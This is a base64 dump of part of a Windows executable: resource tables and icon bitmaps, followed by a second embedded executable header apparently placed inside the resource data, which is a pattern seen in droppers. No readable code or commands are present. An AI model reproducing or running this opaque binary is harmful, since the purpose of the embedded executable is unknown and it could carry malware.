AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAmAIAgDgAAIADAAAAWAAAgAUAAACYAACADgAAALAAAIAQAAAA yAAAgAAAAAAAAAAAAAAAAAAAAgBnAAAA4AAAgGgAAAD4AACAAAAAAAAAAAAAAAAAAAAGAAEA AAAQAQCAAgAAACgBAIADAAAAQAEAgAQAAABYAQCABQAAAHABAIAGAAAAiAEAgAAAAAAAAAAA AAAAAAAAAQBmAAAAoAEAgAAAAAAAAAAAAAAAAAAAAQCAAAAAuAEAgAAAAAAAAAAAAAAAAAAA AQABAAAA0AEAgAAAAAAAAAAAAAAAAAAAAQAJBAAA6AEAAAAAAAAAAAAAAAAAAAAAAQAJBAAA +AEAAAAAAAAAAAAAAAAAAAAAAQAJBAAACAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAGAIAAAAA AAAAAAAAAAAAAAAAAQAJBAAAKAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAOAIAAAAAAAAAAAAA AAAAAAAAAQAJBAAASAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAWAIAAAAAAAAAAAAAAAAAAAAA AQAJBAAAaAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAeAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAA iAIAAFB2CQC9AAAAAAAAAAAAAAAQdwkAcAIAAAAAAAAAAAAAsFIJAGgDAAAAAAAAAAAAABhW CQAoAQAAAAAAAAAAAABAVwkAaAUAAAAAAAAAAAAAqFwJAOgCAAAAAAAAAAAAAJBfCQCoCAAA AAAAAAAAAAA4aAkAqAwAAAAAAAAAAAAAQHUJAA4BAAAAAAAAAAAAAOB0CQBaAAAAAAAAAAAA AACAeQkA7AUAAAAAAAAAAAAACABSAEUARwBJAFMAVABSAFkAAAAAAAAAKAAAABAAAAAgAAAA AQAYAAAAAABAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgICAgICA gAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgICAgICAgICAgMDAwMDAwMDAwMDAwMDAwICAgICA gAAAAAAAAAAAAAAAAICAgICAgICAgICAgMDAwLi0uICAgMDAwICAgICAgMDAwMDAwMDAwAAA AAAAAAAAAICAgICAgMDAwP///////////////4CAgMDAwP///4CAgICAgMDAwMDAwAAAAAAA AICAgICAgP///////////////////4CAgP///////8DAwLi0uICAgICAgAAAAICAgICAgMDA wP///////////////4CAgDBUMAAAAICAgDBUMICAgMDAwAAAAAAAAICAgICAgMDAwP////// /8DAwDBUMDBUMMDAwMjIyMDAwICAgICAgDBUMAAAAAAAAICAgICAgP///////////4CAgP// /////////////+Dc4MDAwICAgLi0uICAgAAAAICAgAAAAMDAwMDAwP///4CAgP////////// /////////////8DAwICAgICAgAAAAAAAAAAAAICAgICAgAAAAAAAAP////////////////// /////+Dc4ICAgICAgAAAAAAAAAAAAAAAAAAAAAAAADBUMP////////////////////////// /8DAwIhwmAAAAAAAAAAAAAAAAAAAAAAAADBUMP///8DAwICAgICAgICAgICAgAAAAICAgICA gAAAAAAAAAAAAAAAAAAAAAAAADBUMDBUMICAgMDAwMDAwMDAwMDAwMDAwICAgAAAAAAAAAAA AAAAAAAAAAAAAAAAADBUMMDAwP///////////////8DAwMDAwKCgoICAgAAAAAAAAAAAAAAA AAAAAAAAAAAAAICAgICAgICAgICAgICAgICAgICAgICAgAAAAAAAAP8fXADgD1wAwANUEIAB djCAABpggAASYAABEmAAAT5wAAA+agAAnmjAAB5o+AD+evgAZGj4ADVo+AA1avwBdWooAAAA EAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAA AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAA AAAAAIiAAAAAiIh3d3iAAAiIh3h4h3cACIf//4f4h3AIj///j/d4gIh///gAiIcAiH/3AHd4 gACI//j//3eHgIB3+P///3iAAIgA////eIAAAAj////3gAAACPeIiAiAAAAICHd3eAAAAAh/ //d3gAAAAIiIiIgA/x8tA+APrDPAAy0zgAG9e4AAAcWAAA3FAAENxQABLf8AACHhAAAvwcAA J+H4AC39+ACj6/gAo+P4AKPj/AGn7SgAAAAQAAAAIAAAAAEACAAAAAAAQAEAAAAAAAAAAAAA AAEAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD/ /wD/AAAA/wD/AP//AAD///8AwwAAAM8AAADbAAAA5wAAAPMAAAD/AAAA/xcXAP8vLwD/U1MA /2tnAP9/fwD/i4sA/5eXAP+jowD/r68A/7u7AP/HxwD/z8cA/9vbAP/n5wD/8/MA//v3ACsr UwA3N18AQ0NrAE9PdwBXV38AY2OLAG9vlwB/f6cAi4uzAJeXvwCnp88As7PbAL+/5wDHx+8A z8/3AFMrKwBfNzcAa0NDAHdPTwCDW1sAj2dnAJtzcwCnf38As4uLAL+XlwDLo6MA16+vAOO7 uwDrw8MA+9PTAC9TLwA7XzsAR2tHAFN3UwBfg18Aa49rAHebdwCDp4MAj7OPAJu/mwCny6cA s9ezAL/jvwDL78sA1/vXAIdvlwCXf6cAp4+3ALObwwDDq9MAz7ffANvD6wCLl28Ak6N7AJ+v hwCru5MAt8efAMvbswDX578A4/PLAAtvmwAPe6MAE4evABePtwAbm8MAF6fPABuz2wAjv+cA K8vzADfX/wD/8/8A/+v/AP/f/wD/0/8A/8f/AP+3/wD/o/8A/5f/AP+D/wD/a/8A/0v/AOcA 5wDXANcAwwDHALcAtwCjAKcAlwCXAIsAiwB3AHcAZwBnAE8AUwAvADMA6///AOf//wDf//8A 0///ALv//wCb//8AP///AADz9wAA5+sAAN/fAADT0wAAx8cAALu7AACzrwAAp6cAAJuXAACX jwAAf38AAHd3AABfXwAAR0cAADMzAP//9wD//+cA///bAP//xwD//7sA//+XAP//fwD//1MA 7+8AAOPjAADX1wAAy8sAAL+/AACzswAAo6MAAJeTAACLgwAAe3sAAGdrAABbWwAAR0sAACMj AADz//MA3//nANf/1wDD/88Au/+7AKP/owCH/4cAZ/9nADf/NwAL/wAAAPMAAADrAAAA4wAA ANcAAADLAAAAvwAAALMAAACnAAAAnwAAAJMAAACHAAAAfwAAAHcAAABvAAAAZwAAAF8AAABT AAAARwAAADcAAAAjAAD38/8A6+v/AN/f/wDT0/8Aw8P/AK+v/wCbm/8Ai4v/AHd3/wBnZ/8A U1P/AEND/wAvL/8AFxf/AAAARwAAAFcAAABnAAAAcwAAAH8AAACLAAAAlwAAAKMAAACvAAAA uwAAAMMAAADPAAAA2wAAAOcAAADzAHwAVACbAGkAugB+ANkAkwDwAKoA/yS2AP9IwgD/bM4A /5DaAP+05gDw8PAA3NzcAMjIyAC0tLQAoKCgAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP// AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAgIAAAAAAAAAAgICAgHBwcHBwgIAAAA AAgICAgH9ggHCAgHBwcAAAAICAcPDw8PCAcPCAgHBwAACAgPDw8PDwgPDwf2CAgACAgHDw8P DwhEAAhECAcAAAgIBw8PB0REB/UHCAhEAAAICA8PDwgPDw8P9AcI9ggACAAHBw8IDw8PDw8P BwgIAAAACAgAAA8PDw8PD/QICAAAAAAAAEQPDw8PDw8PB1MAAAAAAABEDwcICAgIAAgIAAAA AAAAREQIBwcHBwcIAAAAAAAAAEQHDw8PDwcH9wgAAAAAAAAACAgICAgICAgAAP8fAADgDwAA wAMAAIABAACAAAAAgAAAAAABAAAAAQAAAAAAAAAAAADAAAAA+AAAAPgAAAD4AAAA+AAAAPwB AAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAgAAAgAAA AICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAA AAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAIh3iIAAAHdwAAAAAAAAAACHh3d3d3 d3eAAAAAAAAAAId4iIAIiIgIdwAAAAAAAACHh393iACIiIeIAAAAAAAAh4/3d3d3eIcId3iA AAAACHeP////d3+HeACHd4gAAAh4f//////493d4gAh4AAAIeP//////+P/3d3eIBwAAiHj/ /////4////d3d4gAAId4//////+P////d3d4AACHh//////4f/d3//f3cAAAh4//////+IgA iIiHd4AACHeP////eId393d3eIgAAAh4f///94f////3d/d4AAAIeP////j/////93d3d3AA h3j////4///////3d3d4AIeI////+P///////3d3eAAIiHd///j///////93d3gAAACIiId4 ////////93d4AAAAAAAIiP////////93eAAAAAAAAAj/////////d3gAAAAAAAAI//////// /3d4AAAAAAAACP////////93eAAAAAAAAAj/d3eIiIh3d3gAAAAAAAAIeIiHd3d3eIiIAAAA AAAACHf////////3iAAAAAAAAAj/////////d3gAAAAAAAAAh//////393eAAAAAAAAAAAiH d3d3d3d4AAAAAAAAAAAACIiIiIiIgAAA//////wPh//4AAv/+AAD//AAAP/wAAAf8AAAA+AA AAHgAAAB4AAAAcAAAAHAAAABwAAAA8AAAAOAAAAHgAAAB4AAAAMAAAABAAAAAYAAAAHwAAAB /4AAAf/gAAH/4AAB/+AAAf/gAAH/4AAB/+AAAf/gAAH/8AAD//gAB//+AB8oAAAAIAAAAEAA AAABAAgAAAAAAIAEAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAA gIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AMMAAADPAAAATVqQAAMA AAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAACn2kD847sur+O7Lq/juy6v0JkLr+G7Lq8ZmG6v5rsurzmYMq/xuy6v 47svr+C6Lq8ZmDev9rsur3SYa6/iuy6vOZgzr8S7Lq8ZmBOv4rsur1JpY2jjuy6vAAAAAAAA AAAAAAAAAAAAAFBFAABMAQMA9GKzPAAAAAAAAAAA4AAPAQsBBwAA+gIAACAAAAAAAADhEQIA ABAAAAAQAwAAAAABABAAAAACAAAFAAEABQABAAQAAAAAAAAAAEADAAAEAAB3UQMAAgAAgAAA BAAAAAEAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA9PcCANwAAAAAMAMA0AMAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAHATAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAQAAAgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAACk+QIA ABAAAAD6AgAABAAAAAAAAAAAAAAAAAAAIAAAYC5kYXRhAAAA0BoAAAAQAwAAGAAAAP4CAAAA AAAAAAAAAAAAAEAAAMAucnNyYwAAANADAAAAMAMAAAQAAAAWAwAAAAAAAAAAAAAAAABAAABA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 